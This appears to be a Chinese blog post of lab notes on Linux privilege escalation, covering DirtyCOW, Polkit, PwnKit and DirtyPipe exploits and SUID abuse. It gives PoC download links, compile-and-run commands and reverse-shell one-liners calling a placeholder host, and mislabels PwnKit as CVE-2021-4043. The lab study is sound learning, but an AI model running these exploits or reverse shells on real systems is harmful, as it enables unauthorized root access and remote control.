内网权限提升系统学习(linux)
内核漏洞利用
1.dirtyCOW(CVE-2016-5195)脏牛漏洞
影响范围:Linux内核>=2.6.22
1)前期准备
下载镜像 https://archive.kernel.org/centos-vault/6.0/isos/x86_64/CentOS-6.0-x86_64-LiveDVD.iso
ps:尽量别关机,就挂起
下载poc https://github.com/FireFart/dirtycow
经过测试,安装了vmtools后崩了,所以用ssh服务(或者rz命令)将脏牛代码发送到虚拟机内(注意要用普通用户权限上传代码)
开启ssh服务
service sshd start
关闭防火墙
service iptables stop
可以关机设置一个快照
然后可以用ssh连接工具(xshell等)连接
换源,将下述内容保存为CentOS-Base.repo,用ssh连接工具上传到centos6中,将/etc/yum.repos.d/CentOS-Base.repo备份,然后替换源文件
[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#released updates
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/updates/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/extras/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/centosplus/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/contrib/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
生成缓存
yum makecache
安装gcc
yum install gcc -y
然后到这个地方在未关机的状态创建一个快照
2)漏洞复现
用普通用户上传poc,然后编译
gcc -pthread dirty.c -o dirty -lcrypt
查看当前用户 普通权限
id
查看内核版本
uname -a
开始漏洞利用
./dirty
或者
./dirty newpassword
然后
su firefart
查看权限
id
发现root用户没了
cat /etc/passwd
恢复
mv /tmp/passwd.bak /etc/passwd
y
这样又会有root用户,需要重新设置一下密码,但是ssh服务好像出些问题了
passwd root
2.Polkit(CVE-2021-3560)
影响版本:
RHEL8
Fedora21(orlater)
Debiantesting("bullseye")
Ubuntu20.04
1)前期准备
下载poc
https://github.com/Almorabea/Polkit-exploit
系统镜像(经过测试复现脏牛漏洞的centos6这个漏洞没复现成功)
http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2.0-desktop-amd64.iso
安装ssh服务,便于上传poc
apt install ssh
systemctl start ssh
systemctl enable ssh
关闭防火墙
systemctl stop ufw
systemctl disable ufw
关机,创建一个快照
2)漏洞复现
使用ssh服务上传poc
python3 CVE-2021-3560.py
3.PwnKit(CVE-2021-4043)
1)前期准备
下载poc https://github.com/arthepsy/CVE-2021-4034
系统用复现脏牛漏洞的centos6就行了,但要恢复到安装gcc后的那个快照,复现脏牛漏洞后系统感觉出现些问题
2)漏洞复现
普通用户上传poc
查看权限
id
编译
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
执行
./cve-2021-4034-poc
查看权限
id
4.DirtyPipe(CVE-2022-0847)
影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
1)前期准备
系统下载 https://mirrors.aliyun.com/ubuntu-releases/bionic/ubuntu-18.04.6-desktop-amd64.iso
其中自带了python3.6
安装pip3
apt install python3-pip
在本机里下载https://github.com/brant-ruan/metarget.git,然后因为安装了vmtools,所以可以直接拖进去
pip3 install -r requirements.txt -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com
然后启动漏洞环境
sudo ./metarget cnv install cve-2022-0847
重启,查看内核版本确保漏洞环境搭建成功
uname -r
2)漏洞复现
获取poc
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
这个poc需要事先找到一个具有SUID权限的可执行文件,然后利用这个文件进行提权
利用如下命令找到具有SUID权限的可执行文件
find / -perm -u=s -type f 2>/dev/null
然后执行
./dirtypipez /bin/su
5.linux-exploit-suggester-2
1)前期准备
下载poc https://github.com/jondonas/linux-exploit-suggester-2
系统采用复现脏牛漏洞的centos6
2)漏掉利用
使用ssh服务上传poc
执行
chmod +x linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl
权限机制滥用
1.SUID提权
现在目标是读到/root/flag.txt,但是现在的权限是普通权限
常见查看SUID文件的命令
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
1)find提权
配置权限
chmod u+s /usr/bin/find
查看SUID文件
find / -user root -perm 4000 -print 2>/dev/null
在tmp目录下创建一个文件
cd /tmp
touch 1
或者进入交互式shell
find 1 -exec '/bin/sh' \;
但失败了
或者反弹shell
nc出现了报错
解决:
在root下
update-alternatives --config nc
find 1 -exec nc xxx 6666 -e /bin/bash \;
find 1 -exec bash -c 'bash -i >& /dev/tcp/xxx/6666 0>&1' \;
也失败了
2)vim提权
配置权限
chmod u+s /usr/bin/vim
3)nmap
4)more less
5)nano
6)bash
配置权限
chmod u+s /usr/bin/bash
然后普通用户提权
bash -p
7)awk
8)curl
配置缺陷利用
敏感文件利用
应用服务提权
参考文章
https://l0n9w4y.cc/posts/29809/
标签:http,centos,CentOS,mirrors,学习,releasever,linux,权限,poc From: https://www.cnblogs.com/thebeastofwar/p/17723015.html